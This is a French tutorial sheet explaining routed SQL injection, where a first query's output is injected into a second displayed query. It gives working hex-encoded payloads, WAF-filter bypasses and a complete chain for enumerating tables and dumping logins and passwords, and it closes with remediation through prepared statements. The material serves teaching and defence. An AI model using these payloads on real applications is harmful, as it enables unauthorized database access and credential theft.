Routed SQL injection : l'injection dans l'injection
Une injection SQL routée repose sur une application qui enchaîne deux requêtes : le résultat de la première alimente la seconde, et c’est la seconde qui affiche à l’écran. Injecter classiquement dans la première ne montre rien, car sa sortie ne fait que transiter. Le principe consiste alors à faire produire par la première requête une chaîne qui est elle-même une injection, destinée à s’exécuter dans la seconde. Cette fiche suppose acquise la méthodologie UNION et les techniques d’encodage décrites dans les fiches correspondantes.
La mécanique côté serveur
Section intitulée « La mécanique côté serveur »Le code enchaîne deux requêtes. La première cherche une valeur intermédiaire à partir de l’entrée :
-- Requête 1, invisible à l'écranSELECT id, sec_code FROM users WHERE id = '$id'La seconde utilise cette valeur pour afficher une information :
-- Requête 2, celle qui s'afficheSELECT username FROM users WHERE sec_code = '[RÉSULTAT_REQUÊTE_1]'Une injection classique UNION SELECT 1, 2 -- dans la première fait que 2 devient le sec_code. La seconde cherche alors un utilisateur dont le sec_code vaut 2, qui n’existe pas, et l’écran reste vide. L’injection paraît inopérante alors qu’elle a fonctionné.
Le principe : injecter dans la seconde requête
Section intitulée « Le principe : injecter dans la seconde requête »Puisque la valeur produite par la première requête est recopiée telle quelle dans la seconde, l’objectif est de la faire renvoyer une chaîne qui soit un payload SQL complet, quotes et commentaires compris. Ce payload s’exécutera au second tour.
Le problème : les quotes du sous-payload casseraient la première requête. La solution est l’hexadécimal, que MySQL et SQLite retransforment automatiquement en texte, ce qui permet de transporter une chaîne quotée sans écrire une seule quote.
Étape A : rendre la seconde requête vraie
Section intitulée « Étape A : rendre la seconde requête vraie »On veut que la seconde requête reçoive ' or true #. Convertie en hexadécimal, cette chaîne devient 0x27206f72207472756523. Injectée en position 2 de la première requête :
-1 UNION SELECT 1, 0x27206f72207472756523 --La première requête renvoie la chaîne ' or true #. La seconde devient :
SELECT username FROM users WHERE sec_code = '' or true #'La condition est toujours vraie, la page affiche enfin un résultat. La chaîne du chemin s’exécute bien au second tour.
Étape B : contrôler l’affichage par un UNION imbriqué
Section intitulée « Étape B : contrôler l’affichage par un UNION imbriqué »Le chemin validé, on transporte cette fois un UNION SELECT complet, lui aussi encodé, pour maîtriser ce que la seconde requête affiche. La chaîne ' UNION SELECT 1, 2, 3 -- convertie en hexadécimal est injectée en position 2 :
-1 UNION SELECT 1, 0x2720554e494f4e2053454c45435420312c20322c20332d2d202d --La seconde requête interprète ce texte comme du SQL natif, exécute le UNION et affiche les colonnes demandées. À partir de là, l’extraction se conduit comme une injection UNION ordinaire, mais un cran plus loin.
Contourner un WAF dans ce cadre
Section intitulée « Contourner un WAF dans ce cadre »Un formulaire protégé par un WAF filtre souvent les quotes et le mot OR. L’encodage hexadécimal du sous-payload les fait disparaître de l’entrée visible. La chaîne ' OR 1=1 -- - devient 0x27204f5220313d31202d2d202d :
admin' UNION SELECT 0x27204f5220313d31202d2d202d -- -Pour n’afficher que les données injectées et non celles de l’utilisateur légitime, on remplace le login par un terme improbable :
ZZZZZZ' UNION SELECT 0x27204f5220313d31202d2d202d -- -Le comptage de colonnes, lui, se fait avec GROUP BY quand ORDER BY est filtré.
Chaîne d’extraction complète
Section intitulée « Chaîne d’extraction complète »En imbriquant des sous-payloads hexadécimaux, on énumère puis on dumpe. Les chaînes textuelles à convertir en hexadécimal, avant injection via le premier UNION SELECT :
-- Lister les tables (MySQL)' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() -- -
-- Colonnes d'une table (nom de table lui-même en hexadécimal)' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name=0x7573657273 -- -
-- Tout concaténer en une valeur' UNION SELECT 1, GROUP_CONCAT(login, 0x3a, password) FROM users -- -Chacune est convertie en hexadécimal, préfixée de 0x, et placée dans le UNION SELECT de la première requête pour s’exécuter dans la seconde. 0x7573657273 vaut users, 0x3a vaut :.
Remédiation
Section intitulée « Remédiation »La routed injection reste une injection SQL : elle naît de valeurs concaténées dans des requêtes, ici deux fois de suite. La requête préparée sur chacune des deux requêtes ferme la faille, car la valeur intermédiaire ne peut plus être interprétée comme du code au second tour. Le moindre privilège sur le compte de base limite par ailleurs la portée de l’énumération.
À retenir
Section intitulée « À retenir »L’injection routée déplace l’exécution d’un cran : le payload injecté dans la première requête doit être une injection destinée à la seconde, la seule affichée. L’hexadécimal transporte le sous-payload sans quote et contourne au passage bon nombre de filtres. Élégante mais toujours née d’une concaténation, elle se ferme comme toute injection SQL, par des requêtes préparées sur l’ensemble de la chaîne.